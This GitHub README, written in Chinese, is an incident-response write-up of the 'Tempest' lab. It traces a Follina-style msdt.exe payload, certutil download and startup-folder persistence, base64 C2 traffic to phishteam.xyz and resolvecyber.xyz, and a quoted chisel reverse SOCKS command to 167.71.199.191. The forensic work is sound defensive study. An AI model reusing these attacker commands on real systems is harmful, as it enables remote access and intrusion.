Jay-M-Peters/tempest-writeup
GitHub: Jay-M-Peters/tempest-writeup
一份基于真实案例的事件响应复盘报告,展示如何通过端点与网络数据关联追踪攻击者行为。
Stars: 0 | Forks: 0
# Tempest 事件响应报告
## 概述
Tempest 是一个专注于事件响应的实验室,重点分析被入侵 Windows 机器上的端点和网络日志。在本实验室中,我分析了 Sysmon 和 Windows 事件日志以及数据包捕获数据,以追踪攻击者的活动。通过关联进程创建事件、编码流量和网络连接,我能够重建攻击者的行为。
本次调查加深了我对攻击者活动的理解,涵盖初始执行、命令与控制、权限提升和持久化。使用 Wireshark 和 Timeline Explorer 等工具让我获得了将网络事件映射到日志活动的实践经验。Tempest 为我提供了在真实世界 SOC 调查中不同数据源如何协同工作的基础知识。
## 目标
- 识别恶意活动
- 追踪攻击者执行过程
- 调查命令与控制流量
- 确定如何实现权限提升和持久化
- 总结影响
## 使用的工具
- Sysmon
- Windows 事件日志
- Wireshark
- PowerShell
- CyberChef
## 调查方法
我通过查看 Sysmon 日志中的进程创建情况开始调查,以识别主机上的任何异常或可疑执行。这为我提供了攻击链的初始入口点,并使我能够关注与正常系统行为不一致的进程。
随后,我转向父进程-子进程和命令行活动,以了解可疑进程是如何启动的。检查进程创建以及文件创建提供了上下文,说明攻击者如何获得初始执行权限以及涉及的二进制文件。
在识别出恶意进程后,我将调查扩展到网络活动,通过关联进程执行与出站连接。使用 Wireshark 中的数据包捕获数据,我过滤了与已识别 IP 地址和域名相关的流量,以隔离与受感染主机相关的通信。
在分析网络流量时,我观察到 HTTP 请求中存在编码数据。我提取并解码了这些数据,以了解攻击者使用的命令。这引导我发现了命令与控制活动。
随后,我使用 Timeline Explorer 对齐时间戳和进程活动。我能够确认攻击者的命令如何转化为端点上的操作。我观察到系统级变化以及权限提升。
最后,我继续使用 Timeline Explorer 识别账户操纵和持久化机制的迹象。这包括检查与用户创建和组成员关系更改相关的事件。这使我能够确认攻击者如何维持对系统的访问。
在整个调查过程中,我在主机和网络数据源之间切换以验证发现。这种方法确保了证据在多个来源中得到支持,从而准确重建了攻击者的活动。
## 初始执行
我通过检查一个通过 chrome.exe 下载的恶意文档开始调查。通过分析 Timeline Explorer,我确定文件 `free_magicules.doc` 被 `WINWORD.EXE` 打开,该进程被分配了进程 ID 496。这确立了受感染系统上的初始执行点。
随后,我切换到事件查看器,观察到 `WINWORD.EXE` 生成了一个名为 `msdt.exe` 的子进程,这是一个合法 Windows 诊断二进制文件。检查命令行后,我识别出存在 base64 编码的有效载荷。这表明该文档被用于在系统上执行混淆命令。
下图显示了 msdt.exe 执行 base64 编码的有效载荷:

## 有效载荷传递与持久化
解码 base64 编码的有效载荷后,我识别出恶意文档执行的命令将文件写入 Windows 启动文件夹。这实现了在受感染系统上的初始持久化。解码后的命令还揭示了与域名 `phishteam.xyz` 的通信。
通过在 Sysmon 日志中识别该域名,我找到了一个 PowerShell 命令,该命令在用户登录时执行。该命令使用 `certutil` 从攻击者控制的域下载可执行文件 (`first.exe`) 并保存到系统。这种行为展示了从初始执行到持久命令与控制的转变。

## 网络活动与 C2
使用 Wireshark,我转向分析与受感染主机相关的网络活动。我首先过滤了与域名 `phishteam.xyz` 相关的 HTTP 流量,识别出对 `/02dcf07/index.html` 的 GET 请求。这表明恶意文档开始与攻击者通信。
为了进一步隔离可疑行为,我使用受感染主机的 IP 地址 `192.168.254.107` 过滤 HTTP 流量。这揭示了到域名 `resolvecyber.xyz` 的额外 GET 请求,其中包含一个 `q` 参数,该参数包含 base64 编码的数据。这种行为表明受感染系统正在将编码的命令输出传输回攻击者,确认了命令与控制通信。
## 内部侦察与横向移动
在建立命令与控制之后,对 base64 编码数据的分析显示攻击者开始发出命令以枚举受感染系统。我识别出命令输出,表明攻击者找到了一个包含凭据的敏感文件,具体密码为 `infernotempest`。
进一步分析显示,攻击者能够定位一个监听端口 5985 的服务,该端口对应 Windows 远程管理 (WinRM)。这表明攻击者正在为环境中的远程访问做准备。
随后,攻击者使用 chisel 工具建立了一个反向 SOCKS 代理,证据如下命令的执行:
```
ch.exe client 167.71.199.191:8080 R:socks
```
标签:AI合规, CyberChef, EDR, HTTPS请求, PowerShell取证, SOC调查, Sysmon, Timeline Explorer, Windows取证, Wireshark, 初始访问, 包捕获分析, 协议分析, 句柄查看, 命令与控制, 命令行分析, 威胁调查, 恶意执行, 数字取证, 日志关联, 权限提升, 横向移动, 流量编码, 父子进程关联, 端点检测与响应, 编程规范, 网络流量分析, 脆弱性评估, 脱壳工具, 自动化脚本, 进程创建